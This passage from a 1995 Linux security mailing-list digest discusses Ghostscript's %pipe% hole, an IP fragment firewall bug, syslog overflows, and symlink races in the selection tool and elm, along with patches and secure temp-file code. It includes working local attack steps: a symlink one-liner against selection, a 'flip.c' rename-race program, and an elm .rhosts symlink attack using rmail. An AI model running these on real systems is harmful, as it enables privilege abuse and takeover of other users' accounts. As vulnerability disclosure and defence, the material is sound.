K1xLU8BaBpKno1ZEJcF+/50WhFU/SqX0hh1bU2hp3K9ez7D+6TAZlo/XdozGpSpH N7mWJ0WjEMU= =bVpO - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) Date: Wed, 23 Aug 1995 15:27:32 +0200 (MET DST) Subject: Re: Ghostscript problem - -----BEGIN PGP SIGNED MESSAGE----- Olaf Kirch wrote: >I'd >suggest you also check your ps printer filter if you print postscript >files using gs, and xdvi if you use a version that uses ghostscript to >display postscript \special's. I checked only xdvi-20, and it's safe. The xdvi version I use, which identifies itself as 'xdvik version 18b', is definitely unsafe. What other programs are there which invoke gs transparently? - - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMDssufBu+cbJcKCVAQH3/QP/Y7Rne36DwYXcD00pSRZAr4p8/NSsL91K vuz9faS0pNTTS33X5CzWs0nswz6mVDvVZu+u8LyqZlD2ecy6T4Pcqy+jwzQ6TdNf u1d+XicYgat7c61pgVmaQ4o6FPKt/zBhIMEh7RpEOoKlQpaSF3QvqwOVCLFIfeq5 ze9tgg5rG1Q= =iy4x - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (System Administrator) Date: Wed, 23 Aug 1995 10:24:58 +0100 (BST) Subject: IP firewalling bugs A variety of systems based on the Ugen firewall code (FreeBSD/Linux probably NetBSD) are vulnerable to the following reported attack: Send an IP fragment 0 acceptable to the firewall Send an IP fragment at offset 8 to rewrite most of the header and all the data For Linux at least the IP header should not be vulnerable to overwriting because of the way the fragment merging is done. The following is a provisonal not very tested fix (I only found out about the bug 30 minutes ago). Linux is only vulnerable to tcp/udp header overwriting so host level blocking is unaffected. Because the Ugen firewall is virtually PD a variety of low end routers seem to use it and may also be affected. I will be issuing a tested fix to Linus for 1.2.14 once he returns from sunning himself. [This fix is of course GPL'd and Linux but the BSD fix should be similar and obvious] - --- ip_fw.c Thu Jun 29 17:18:52 1995 +++ /tmp/ip_fw.c Wed Aug 23 10:11:22 1995 @@ -209,6 +209,30 @@ */ frag1 = ((ntohs(ip->frag_off) & IP_OFFSET) == 0); + + /* + * Stop any lead fragment attacks (eg sending the IP header + * and then overwriting it with a new fragment). The fragmenter + * works correctly to stop the rest of this attack. + */ + + if(frag1) + { + switch(ip->protocol) + { + case IPPROTO_UDP: + if(ip->ihl<<2+sizeof(struct udphdr) + >ntohs(ip->tot_len)) + return 0; + break; + case IPPROTO_TCP: + if(ip->ihl<<2+sizeof(struct udphdr) + >ntohs(ip->tot_len)) + return 0; + break; + } + } + if (!frag1 && (opt != 1) && (ip->protocol == IPPROTO_TCP || ip->protocol == IPPROTO_UDP)) return(1); ------------------------------ From: [email protected] (Olaf Kirch) Date: Wed, 23 Aug 1995 20:55:56 +0200 (MET DST) Subject: Re: Ghostscript problem Thomas Koenig wrote: > What other programs are there which invoke gs transparently? I just grepped my xv-3.00 binary, and found that it invokes /usr/bin/gs somewhere. A grep for SAFER turned up -- nothing. Does anyone volunteer to draw up a list of programs that use gs? Here's a start, off the top of my head: * ghostview. 1.4 is vulnerable, 1.5 is not. * Web browsers: Mosaic, netscape, etc. Most seem to invoke ghostview directly. * metamail. * Your postscript printer filter, if you use one. * xdvi (v20 is safe) * xdvi-k (18f is latest, and still lists -safer in the TODO section). * xv (3.0 seems to be vulnerable). * xfig. (3.1.3 is safe, don't know about earlier versions). Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: Lutz Pressler Date: Wed, 23 Aug 1995 20:23:55 +0200 (MEZ) Subject: Re: Ghostscript problem - -----BEGIN PGP SIGNED MESSAGE----- Hello, On Tue, 22 Aug 1995, Olaf Kirch wrote: > There's another problem with ghostscript that makes you vulnerable to > attacks via postscript code. Ghostscript has a file type that lets you > execute arbitrary commands through the shell. While the -dSAFER option > to gs protects you from ordinary file write/rename/removal attacks, it > does not check for this special file type. [...] > Please also make sure that all programs that use ghostscript set the -dSAFER > option. ghostview 1.5 does by default, but version 1.4 does not. I'd > suggest you also check your ps printer filter if you print postscript > files using gs, and xdvi if you use a version that uses ghostscript to > display postscript \special's. I checked only xdvi-20, and it's safe. xdvi-18 (and xdvik 18d?), which is quite commonly used, is not. As you cannot be sure who uses gs in which situations (calling it manually, using distributed scripts,...) I asked myself who needs the file access functionality etc anyway. Is there any "normal" postscript application which uses those? I don't know any. That's why I set "-dSAFER" once and for all on our systems here. This is quite easily possible whithout recompiling: In {$GS_LIB}/gs_init.ps comment out those two line which implement the "if SAFER" condition: SAFER not { (%END SAFER) .skipeof } if and %END SAFER (put "% " (without ", of course) in front of them), or simply delete them. That should prohibit such kind of attacks. Regards, Lutz - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMDtyEk8rRJEuvpUdAQHZZwQAsmxcjaYIMRu2JpmV6kXDAWn/FKXdu0yv ghqAkaPBo5IebMGjOoOBqnBZtGq6PbDJes1W+Q8lV79FgqIPj6QQV7GcpIpaaW43 PB2IFO3gULTpAp1aWIvTVX4f+vg1NpmPxM5KebxYPkcgAAjQDEsni3sckjepgkQ+ Bf6+fXEAMB8= =7ZFL - -----END PGP SIGNATURE----- - -- Lutz Pre"sler Systemverwaltung -- Abt. Medizinische Statistik, Universit"at G"ottingen Humboldtallee 32, D-37073 G"ottingen, Tel.: +49(0551) 39-9774 FAX: -4995 [PGP-key:WWW&Keyserver] IRC:lp ------------------------------ From: Jeff Uphoff Date: Thu, 24 Aug 1995 04:30:30 -0400 Subject: Re: Ghostscript problem "OK" == Olaf Kirch writes: OK> Thomas Koenig wrote: >> What other programs are there which invoke gs transparently? OK> I just grepped my xv-3.00 binary, and found that it invokes /usr/bin/gs OK> somewhere. A grep for SAFER turned up -- nothing. I've just browsed the xv-3.10 code (not v3.00, which I don't happen to have sitting in my archive any more), and here's my findings: The default configuration does *not* support Postscript file-viewing. >From config.h: /* #define GS_PATH "/usr/local/bin/gs" */ /* #define GS_LIB "." */ /* #define GS_DEV "ppmraw" */ They're commented-out by default, at least in the source copy that I have, MD5 checksum: "26c2306e3c401f109c8e4df272a0215e xv-3.10.tar.gz", which is the version that ships with Slackware 2.3.0. The Slackware diff does not enable this either, and the 3.10 binary shipping with Slackware appears safe (i.e. Postscript viewing disabled); grepping the binary did not turn up the GS_PATH string anywhere. >From v3.10's xvps.c: #ifdef GS_PATH [...VMS and other code...] sprintf(tmp, "%s \"-sDEVICE=%s\" -r%d -q \"-dNOPAUSE\" \"-sOutputFile=%s%%d\" ", GS_PATH, gsDev, gsRes, tmpname); [...more code, strcat() calls and the like, none doing -dSAFER...] gsresult = !system(tmp); Simply adding "-dSAFER" after the path in the GS_PATH definition (if you're using it, which I'm not) should suffice, for all put the %pipe% hole of course. OK> Does anyone volunteer to draw up a list of programs that use gs? Here's OK> a start, off the top of my head: Gert D�ring's mgetty+sendfax package uses it to convert postscript to FAX formats. I just checked his 'faxspool' script, which auto-detects file types and does the appropriate format-conversions (among other things). For Postscript files, 'faxspool' calls 'gs' with "-dSAFER". No problems there; it appears safe all the way back to at least his version 0.22 release (and probably earlier--I didn't look past 0.22). OK> * xv (3.0 seems to be vulnerable). Version 3.01 also does not support Postscript by default; you must un-comment the support definitions in the Imakefile in this version. As with v3.10, it appears that simply adding "-dSAFER" when you define the path to Ghostscript should do the trick. Looks like I need to scrounge up a copy of the v3.00 source and take a peek... - --Up. P.S. Note to 'mgetty' list recipients: Security problems exist in Ghostscript. Gert avoids the well-known one(s) by using "-dSAFER" when he calls 'gs'. Unfortunately, there is now at least one nasty known hole that -dSAFER does not prevent exploitation of and that can be fixed by patching the gs_init.ps file in your Ghostscript library area. I'll post details separately to the 'mgetty' list, as the Linux security lists have already addressed this. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Thomas Weber) Date: Sat, 26 Aug 1995 05:07:46 +0200 (MET DST) Subject: problem with selection - -----BEGIN PGP SIGNED MESSAGE----- Hi there, after installing selection (1.7) on a new system i noticed a problem with the way selection handels it's selection.pid file. Because the default is to install it suid-root and the default pid file rests in /tmp any user can create or destroy any file on the disk (like selection -k; cd /tmp; ln -s /etc/nologin selection.pid; selection). This patch seems to fix the problem: - - --- selection-1.7-original/selection.c Tue Aug 2 07:51:45 1994 +++ selection-1.7/selection.c Sat Aug 26 02:26:12 1995 @@ -125,6 +125,12 @@ if (fork()) exit(0); setsid(); + + if (unlink (PIDFILE) && (ENOENT != errno)) { + fprintf(stderr, "%s: Could not unlink PID file `%s', terminating.\n", + progname, PIDFILE); + exit(1); + } if ((fp = fopen(PIDFILE, "w")) != (FILE *)NULL) { fprintf(fp, "%d\n", getpid()); tschau, Tom - - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMD6P+/PB96Cs1ZNdAQE4HwQAhDoO2E2hv096brzfuulxieW5yT0vuO/y Rnw94BqBgvyES74NJCBvzBQZOsFqFFt+3plGdUAqaSpWjBxwh9XX2prB3j7i7/j1 N/VGWVfqCVTN6SI6j6Kx7unHuww9dvm5jDw1tR+edzZs7aWzZxpLr1en0Phr2mZn wXT55gyp3wE= =TuxG - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] Date: Mon, 28 Aug 1995 10:45:06 GMT Subject: Re: problem with selection : After installing selection (1.7) on a new system i noticed a problem with the : way selection handels it's selection.pid file. : Because the default is to install it suid-root and the default pid file : rests in /tmp any user can create or destroy any file on the disk : (like selection -k; cd /tmp; ln -s /etc/nologin selection.pid; selection). Yes. But nobody who is security conscious should install it suid root. It does not need any privileges, except possibly for killing earlier invocations, left by another user. Thus, any uid will do. ------------------------------ From: [email protected] Date: Mon, 28 Aug 1995 13:00:23 +0200 (MET DST) Subject: Re: problem with selection > This patch seems to fix the problem: > > - --- selection-1.7-original/selection.c Tue Aug 2 07:51:45 1994 > +++ selection-1.7/selection.c Sat Aug 26 02:26:12 1995 > @@ -125,6 +125,12 @@ > if (fork()) > exit(0); > setsid(); > + > + if (unlink (PIDFILE) && (ENOENT != errno)) { > + fprintf(stderr, "%s: Could not unlink PID file `%s', terminating.\n", > + progname, PIDFILE); > + exit(1); > + } > > if ((fp = fopen(PIDFILE, "w")) != (FILE *)NULL) { > fprintf(fp, "%d\n", getpid()); > I'm starting to get wildly annoyed at people who think they can do security checks in setuid programs. It is NOT possible to first perform a security check and then open the file just like before. I repeat: "IT IS NOT POSSIBLE". ---------------------------------------------------------------------- || I say again: "IT IS NOT POSSIBLE!!!!". || ---------------------------------------------------------------------- (please forgive my shouting.... :-) If your patch is installed, I simply do: cd /tmp;ln -s /etc/nologin .;flip nologin PIDFILE & ^^^^^^^ whatever that is.... before running the previously published exploitation method. It now only has a 50% chance of succeeding. Bummer. (because of the unlink in the preceding program, you might have to modify the attack to create/delete the symlinks as fast as you can instead of moving them around.) "flip" is the following program: /* "flip.c" (C) [email protected] */ /* Written on Mon Aug 28 +/- 10:00 MDT 1995, gcc -Wall gave no warnings/errors first compile run :-) (worked too :-) */ #include #include int main (int argc,char **argv) { while (1) { rename (argv[1],argv[2]); rename (argv[2],argv[1]); } exit (0); } Roger. - -- * legal notice: Microsoft Network is prohibited from redistributing this * * work in any form, in whole or in part without a license. License to * * distribute this work is available to Microsoft at $499. Transmission * * without permission constitutes an agreement to these terms. * *------------------------------------ Modified from Felix von Leitner ---* ** EMail: [email protected] ** Tel +31-15-783643 or +31-15-137459 ** *** my own homepage *** ------------------------------ End of linux-security-digest V1 #32 *********************************** linux-security-digest/1995/v01.n033100664 1767 1767 46346 6021675251 16065 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #33 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 1 September 1995 Volume 01 : Number 033 Re: problem with selection Final analysis of syslog threat under Linux Re: Final analysis of syslog threat under Linux Re: problem with selection XDM-AUTHORIZATION-1 Re: problem with selection Re: problem with selection selection summary Re: selection summary Re: selection summary ---------------------------------------------------------------------- From: [email protected] (Thomas Weber) Date: Mon, 28 Aug 1995 17:25:11 +0200 (MET DST) Subject: Re: problem with selection > Yes. But nobody who is security conscious should install it suid root. > It does not need any privileges, except possibly for killing earlier > invocations, left by another user. Thus, any uid will do. No. It needs to be suid root because of some ioctl's. Or noone else than root can start it. Tom - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- ------------------------------ From: [email protected] (A.Cox) Date: Tue, 29 Aug 95 23:12 BST Subject: Final analysis of syslog threat under Linux Summary: Almost all old a.out, and probably no ELF systems vulnerable. Detail: Linux libc 4.6.27 and earlier (4.6.27 is the most distributed version) contain a BSD style syslog with no checks. It reports (c) 1993 Regents of UCB blah blah, Author Eric Allman. These are directly vulnerable to all attacks. To see which libc your system is using look in /lib for the version number on libc.so.x.y.z. For those who have not seen the cert advisory we are talking a network exploitable bug where it is possible to get root shell access to a remote system given a lot of programming skill and knowledge. Linux libc 4.7.2 and higher (as of May 1995) use snprintf correctly to protect against attack. The snprintf code is badly written and hard to follow but assorted test attacks indicate it appears to be reliable. The syslog code however has a stupid oversight in it which renders attacks where the format string is over 1K long viable, even though attacks via format arguments are not. Since no program analysed feeds user data in as the format string this is adequate for users. All sites running NIS will be (I hope) running libc4.7.x already as libc4.6.27 has other serious NIS security bugs. Complete Fix: Apply the following fix to libc4.7.2 and above - --misc/syslog.c - --- syslog.c~ Tue Aug 29 22:14:25 1995 +++ syslog.c Tue Aug 29 22:14:25 1995 @@ -194,7 +194,7 @@ register char ch, *t1; char *strerror(); - - for (t1 = fmt_cpy; (ch = *fmt) != '\0'; ++fmt) + for (t1 = fmt_cpy; (ch = *fmt) != '\0' && t1 #include static char x[6]= {'H','E','L','L','O',0}; void main() { char buf[4096]; int ct; for(ct=0;ct<4095;ct++) buf[ct]='X'; openlog("testprog",LOG_PID, LOG_AUTHPRIV); printf("Check snprintf\n"); snprintf(x,3,buf); if(x[4]!='O') fprintf(stderr,"snprintf is broken\n"); printf("Testing syslog\n"); syslog(LOG_ERR|LOG_USER,buf); closelog(); } Alan ------------------------------ From: Jeff Uphoff Date: Wed, 30 Aug 1995 13:34:54 -0400 Subject: Re: Final analysis of syslog threat under Linux "AC" == A Cox writes: AC> This problem affects most Linux (and probably most unix systems) AC> and should be acted on immediately. Simply switching to libc4.7.2 AC> will adequately protect almost all users. Note that libc4.7.2 has AC> some bugs but libc4.7.4 appears more correct. Even though the built AC> libc4.7.4 is in hjl's private area it should be made available by AC> all ftp sites ASAP. I have made a copy of libc-4.7.4 publicly available, for now, in: ftp://linux.nrao.edu/pub/linux/security/libc-4.7.4/ This version is, as Alan states, not currently a public release; it's only available in H.J. Lu's "hidden" GCC development area on tsx-11.mit.edu (and its mirrors, of which linux.nrao.edu is one). H.J. has given his OK for this "pseudo-release." - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Zygo Blaxell Date: Tue, 29 Aug 1995 23:03:28 -0400 (EDT) Subject: Re: problem with selection Quoted from [email protected]: > Yes. But nobody who is security conscious should install it suid root. > It does not need any privileges, except possibly for killing earlier > invocations, left by another user. Thus, any uid will do. Inserting arbitrary data into someone's input buffer _doesn't_ require any privileges? I sincerely hope not. Console security really sucks on Linux. The vt ioctl calls don't check _anything_ so long as you have any console as a controlling TTY (remapping of SAK excepted, in trivial cases). This means that if you have a process on any controlling virtual console TTY, you can interfere with other virtual console TTYs. I prefer to have selection run _as_ root _by_ root, in the rc* scripts after syslogd and before any network daemons. After all, it doesn't really need to be invoked and revoked by individual users, does it? An alternative to running as root would be to require that selection have the same uid as the owner of the TTY that selection would paste into. However, this means that two users can't log into different TTYs and paste from one to the other, unless there was a permission structure that could control this (like another set of devices similar to /dev/vcs*, which allow you to write data to a TTY device input buffer). (for the wish list: /dev/kbd*, which allow you to remap the keyboard for a particular virtual console only. And /dev/vcpc*, which accept the ioctl calls for process control signals (the ones SVGAlib and X use). And /dev/kbdmode, which accepts the ioctl call for changing keyboard mode to raw/mediumraw/cooked (necessary because of the way SAK works in cooked mode and doesn't in other modes). And /dev/vcsig, which replaces the keysym that can send any signal to a process with a keysym that reports what keysym, which console, etc, and also reports when another process steals the signal.) - -- Zygo Blaxell, former sysadmin and current software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda. uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food. ------------------------------ From: Matt Sommer Date: Mon, 28 Aug 1995 23:43:21 -0700 (PDT) Subject: XDM-AUTHORIZATION-1 hey folks, i have already posted this to linux-x11 and got absolutely no response so please pardon me if you have already read this. although, at first glance this appears only to be an X related post if you think about it ( and considering the relative weakness of MIT-MAGIC-COOKIE-1 ) i think youll agree that it is fairly relevant to both security and administration under linux... has anyone ever tried to recompile the Xserver under Xfree86 to support XDM-AUTHORIZATION-1 ??? i have already recompiled libXdmcp with Wraphelp.c ( and also xdm ) but i have had a bit of difficulty finding a "server-only" package ( itll need to be 3.1 unless 3.1.1 is completely backwards compatible ) other than the one on ftp.cdrom.com where the makefiles are actually correct ( using xmkmf doesnt work either on the Imakes for obvious reasons )... any ideas ( besides recompiling the entire xc package... i am aware that this is a solution ;P ) and all words of wisdom would be appreciated... cu, m. - --------------8<----------------8<---------------8<------------------ my caps key seems to be broken, sorry... ------------------------------ From: [email protected] (Thomas Weber) Date: Wed, 30 Aug 1995 18:25:12 +0200 (MET DST) Subject: Re: problem with selection - -----BEGIN PGP SIGNED MESSAGE----- > I prefer to have selection run _as_ root _by_ root, in the rc* scripts > after syslogd and before any network daemons. After all, it doesn't > really need to be invoked and revoked by individual users, does it? At least three situations: - - -changing the Textmode resolution (resize or SVGATextMode) requires restarting selection sometimes - - -for quite some Mouse/Videocard combinations selection and X won't work together -> selection -k; X; selection; - - -dosemu on the console and selection don't work pretty well together. [Some good ideas deleted] Tom - - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- ## CrossPoint v3.04 R ## - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMESQ3fPB96Cs1ZNdAQFGZgP+Jo92uDVP7UyWxQGRiidEHwXTwqYuKhON UX6vq+QPlp3b3nJIBSihE67xd0yiKPPAp9aBKw7reibaBUE90Vf6w+kmTVwgAt13 oAn4iG9YzYE7Jq8+mqSxJlhWc3YQLP2XOinlf/hxlpJyhiApzfO5uKKj4uILcHMO bIlAPXEoVV0= =txAw - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Thomas Weber) Date: Tue, 29 Aug 1995 17:08:34 +0200 (MET DST) Subject: Re: problem with selection - -----BEGIN PGP SIGNED MESSAGE----- > > This patch seems to fix the problem: ~~~~~ > I'm starting to get wildly annoyed at people who think they can > do security checks in setuid programs. I was pretty sure that I would get some reactions like this. I was pretty sure that my 'fix' wasn't the real solution. That's why I wrote "seems". I'm not a programmer in the first place. I administrate some Unix machines and I know of some of the security problems. I've never seen this problem reported so I did it (and _tried_ to give a solution). Now all that's coming back are remarks like how stupid it is to use selection, to use it suid root and how bad this patch is. > before running the previously published exploitation method. It now only > has a 50% chance of succeeding. Bummer. So well. As long as I don't have the time to find a better solution I'll stay with this 50% solution. BTW, my selection.pid file rests in /var/run, so it's not such a big problem for me anyway. > (because of the unlink in the preceding program, you might have to modify > the attack to create/delete the symlinks as fast as you can instead of > moving them around.) I expected this, and I hoped that someone would post a better solution, that's why I mailed. But nothing so far :-( Tom - - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMEMta/PB96Cs1ZNdAQHmpgP/eyBl8OINbSsPCcwM3tiVHFheS8I2QaZe u/iT0u8ryuOWDwCIWTTuv2elyMeNd/WnEGwHRyAgUbtLHkkzYmK21cmZD5nvMvWh rGwL7xdRXOuP7bHPhJ6Vqy5sn/jf2orWRC4diCbq8HZGENM+xWDvxWkDbAtzWT0A 0C5pYp2+d9U= =Q/x5 - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 1 Sep 1995 14:40:20 +0200 (MET DST) Subject: selection summary - -----BEGIN PGP SIGNED MESSAGE----- Hi all, there have been quite a number of follow-ups to Tom Weber's report on the selection problem. I'm summarizing them below rather than approving each message separately. Many people have pointed out that simply unlinking the file and then opening it still leaves a race condition. I still haven't seen a secure way of opening a temp file; maybe creating a `randomly' named file and then calling rename() to move it to selection.pid is closest to what can be done. For programs running under the root account, having a separate directory for pid files and other temporary data is probably the best. The FSSTND has a /var/run directory, which would be ideal for things like these. However, the problem with selection can be solved more easily. There have been a number of messages about whether it has to run setuid root or not. The upshot of it all is that it must run as root because of several ioctl calls it performs, but it suffices to put it into your rc.local script. On the other hand, Tom Weber points out that there are situations where selection won't get along very well with other applications (see separate message). Having selection put its pid file in /var/run seems to be safe in this case. However, it would still be nice if someone wrote a drop-in routine that opens temp files safely, because there Finally, watch out for similar programs: dip Usually using /etc/dip.pid, so it's safe. Still, there used to be versions that put it in /tmp, if I recall correctly. (But having dip setuid root is a bad thing anyway. Try dip -v /etc/shadow for an amusing show) named /etc/named.pid or /var/run/named.pid. Older versions also put their pid file in /usr/tmp, using fopen(...) to open it. However, debug information (named.run and named_dump.db) is written to /tmp or /var/tmp. elm uses mbox.. If user joe doesn't have a .rhosts file, do this: ln -s ~joe/.rhosts /tmp/mbox.joe echo "localhost yourname" | rmail joe and wait for joe to read his mail. This works at least with elm 2.4. ... and probably a few more. Thanks to all those who responded: Wolfgang Ley Kyriakos Georgiou Matt (Panzer Boy) Jon Lewis Tom Weber Cheers Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMEb/KuFnVHXv40etAQGO/AQAz+j+z3XjjfJgBMCjQVZ42UV07UiDdl1S 4D7mu6QDHu9ItRYpxM7mIeE4bvFTPvYVzmL5DfMucyhUEJy10YuCUJZGgTvlCHsz 8poSbTYSRMwp/N3Gysd4te9lWX3+JwPd6ahautKVkCsRISA9/v0kgCSBWPe8GwoP qyPB3BWRp+U= =tGn6 - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) Date: Fri, 1 Sep 1995 18:48:05 +0200 (MET DST) Subject: Re: selection summary - -----BEGIN PGP SIGNED MESSAGE----- Olaf Kirch wrote: >I still haven't seen a secure way of opening a temp file; The easiest way is to put it into a directory where users don't have write permission. If you're absolutely stuck with putting a file into a world-writable directory as root... well, I belive the following to be a resonable first approximation; please try to poke holes in this. I am assuming a 1777 directory, i.e. with sticky bit set. If you don't have that, you're toast in any case :-) - - - unlink the filename - - - set euid to nobody - - - open file with O_CREAT | O_EXCL ; abort if this does not work - - - fstat the file descriptor - - - if links > 1, goto step one - - - lstat the file - - - if it's a symbolic link, goto step one - - - if the device/inode pair of the fstat/lstat don't match -> step one - - - set euid to root - - - fchown the file descriptor - - - stat the filename - - - if the device/inode pair don't match -> step one - - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMEc5GPBu+cbJcKCVAQE18gQAooePDDIDfmBMAwcLyXX+Qcxa7wDGa5Da nx0CduzdSABfzCKZesgagmTv6PHyd1s8IJI/e53xTKz2svOXTEdwvd5prQYYaMOj jOW2ZpyT4UVjMyvZPImBEoMym5rQ8yaHDy6d0a1VukvEi9p2ay5BGlxTKtJyJ4No +nME3AxlFC4= =aAlV - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Alan Cox) Date: Fri, 1 Sep 1995 20:33:30 +0100 (BST) Subject: Re: selection summary > Many people have pointed out that simply unlinking the file and then > opening it still leaves a race condition. I still haven't seen a secure > way of opening a temp file; maybe creating a `randomly' named file and > then calling rename() to move it to selection.pid is closest to what > can be done. For programs running under the root account, having a separate > directory for pid files and other temporary data is probably the best. > The FSSTND has a /var/run directory, which would be ideal for things like > these. I use the following. I think its secure and if not please tell me. Surround it with setfsuid(getuid()) // setfsuid(geteuid()) if you want the running user to make the file. while(1) { char *x=tmp_mkname(); /* /tmp/blahdesquiggle */ int fd=open(x, O_RDWR|O_EXCL|O_CREAT); if(fd==-1) /* Probably exists, dont touch it */ continue; if(fstat(fd,&stat)==-1) { close(fd); continue; /* Huh ??? */ } if(lstat(x,&stat2)==-1) /* Not posix but who cares */ { close(fd); continue; } if(x.st_ino!=fd.st_ino || x.st_dev!=fd.st_dev) /* Tut tut, slap wrist */ { close(fd); continue; } if((x.st_mode&S_IFMT)!=S_IFREG) /* Must be a file */ { close(fd); continue; } break; } And then use fchown, fchmod etc no path based calls. Unlinking is ok you might delete a file someone has renamed in /tmp to your filename.I hope people use sticky /tmp's > named /etc/named.pid or /var/run/named.pid. Older versions also > put their pid file in /usr/tmp, using fopen(...) > to open it. > However, debug information (named.run and named_dump.db) > is written to /tmp or /var/tmp. > elm uses mbox.. If user joe doesn't have a .rhosts > file, do this: > ln -s ~joe/.rhosts /tmp/mbox.joe > echo "localhost yourname" | rmail joe > and wait for joe to read his mail. This works at least with > elm 2.4. Have these two been posted on to Cert and to Bugtraq and 8lgm ?. The ELM one is especially nasty. Alan [I have forwarded the elm one to bugtraq and DFNCERT. --okir] ------------------------------ End of linux-security-digest V1 #33 *********************************** linux-security-digest/1995/v01.n034100664 1767 1767 41311 6024513604 16045 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #34 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 10 September 1995 Volume 01 : Number 034 elm and /tmp/mbox.*: patch Re: elm and /tmp/mbox.* Re: selection summary console security (was Re: problem with selection) Re: elm and /tmp/mbox.* Re: elm and /tmp/mbox.* Re: console security (was Re: problem with selection) Linux adduser security bug [Forwarded e-mail from Mark Whitis] Re: elm and /tmp/mbox.* Re: Linux adduser security bug [Forwarded e-mail from Mark Whitis] ---------------------------------------------------------------------- From: Lutz Pressler Date: Sat, 2 Sep 1995 11:56:22 +0200 (MET DST) Subject: elm and /tmp/mbox.*: patch - -----BEGIN PGP SIGNED MESSAGE----- Hello, as Olaf Kirch found out, elm (at least 2.4, including elm-2.4pl24me6) opens it's temporary mbox file in /tmp without checking for existing symlinks. This can be exploited by a local user: for example to create an .rhosts file for another account which has none yet - with valid entries, thus getting access to that account. The following patch (to be applied in the elm distribution directory) disables this possibility by changing the temporary mailbox file location to be .mbox.* in the users' home directory. This prohibits multiple elm sessions on different hosts with shared home dir, but as in this case the mail spool is probably shared, too, this should not be a problem. It seems that the other files sometimes created by elm in /tmp are not so problematic. I haven't checked this thoroughly yet though. Regards, Lutz Patch follows (remove PGPs "- " !): *** hdrs/sysdefs.SH.orig Sat Sep 2 11:06:35 1995 - - --- hdrs/sysdefs.SH Sat Sep 2 11:33:53 1995 *************** *** 94,100 **** #define default_temp "$tmpdir/" #define temp_file "snd." #define temp_form_file "form." ! #define temp_mbox "mbox." #define temp_print "print." #define temp_edit "elm-edit" #define temp_uuname "uuname." - - --- 94,100 ---- #define default_temp "$tmpdir/" #define temp_file "snd." #define temp_form_file "form." ! #define temp_mbox ".mbox." #define temp_print "print." #define temp_edit "elm-edit" #define temp_uuname "uuname." *** src/newmbox.c.orig Sat Sep 2 11:07:26 1995 - - --- src/newmbox.c Sat Sep 2 11:34:31 1995 *************** *** 374,380 **** char *cp; ! sprintf(tempfn, "%s%s", default_temp, temp_mbox); if((cp = rindex(mbox, '/')) != NULL) { cp++; if (strcmp(cp, "mbox") == 0 || strcmp(cp, "mailbox") == 0 || - - --- 374,380 ---- char *cp; ! sprintf(tempfn, "%s/%s", home, temp_mbox); if((cp = rindex(mbox, '/')) != NULL) { cp++; if (strcmp(cp, "mbox") == 0 || strcmp(cp, "mailbox") == 0 || - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMEgqGE8rRJEuvpUdAQGQKAP9H2UXf3CbyC5/fZifAV9OzKoR6eGEwloA H/8+OJEfpwOacYCpcoi4Njkaj2bEzjlyRxzDnz0VBFPdurxvFsN2cM9qMAN2tvNZ qnP73hXFkLsi/ga8mmuVYeYgzoZJZOzPKSgA7SvtV8aD8WR/IK9Ze56beei5BIEx jlwv9TGpI7A= =82WU - -----END PGP SIGNATURE----- - -- Lutz Pre"sler Systemverwaltung -- Abt. Medizinische Statistik, Universit"at G"ottingen Humboldtallee 32, D-37073 G"ottingen, Tel.: +49(0551) 39-9774 FAX: -4995 [PGP-key:WWW&Keyserver] IRC:lp ------------------------------ From: Lutz Pressler Date: Sat, 2 Sep 1995 01:20:03 +0200 (MET DST) Subject: Re: elm and /tmp/mbox.* - -----BEGIN PGP SIGNED MESSAGE----- I just wrote: >A quick kind of "fix" is to create for every user who has no .rhosts >file an empty one (or to disable r-commands altogether). Maybe one should recompile 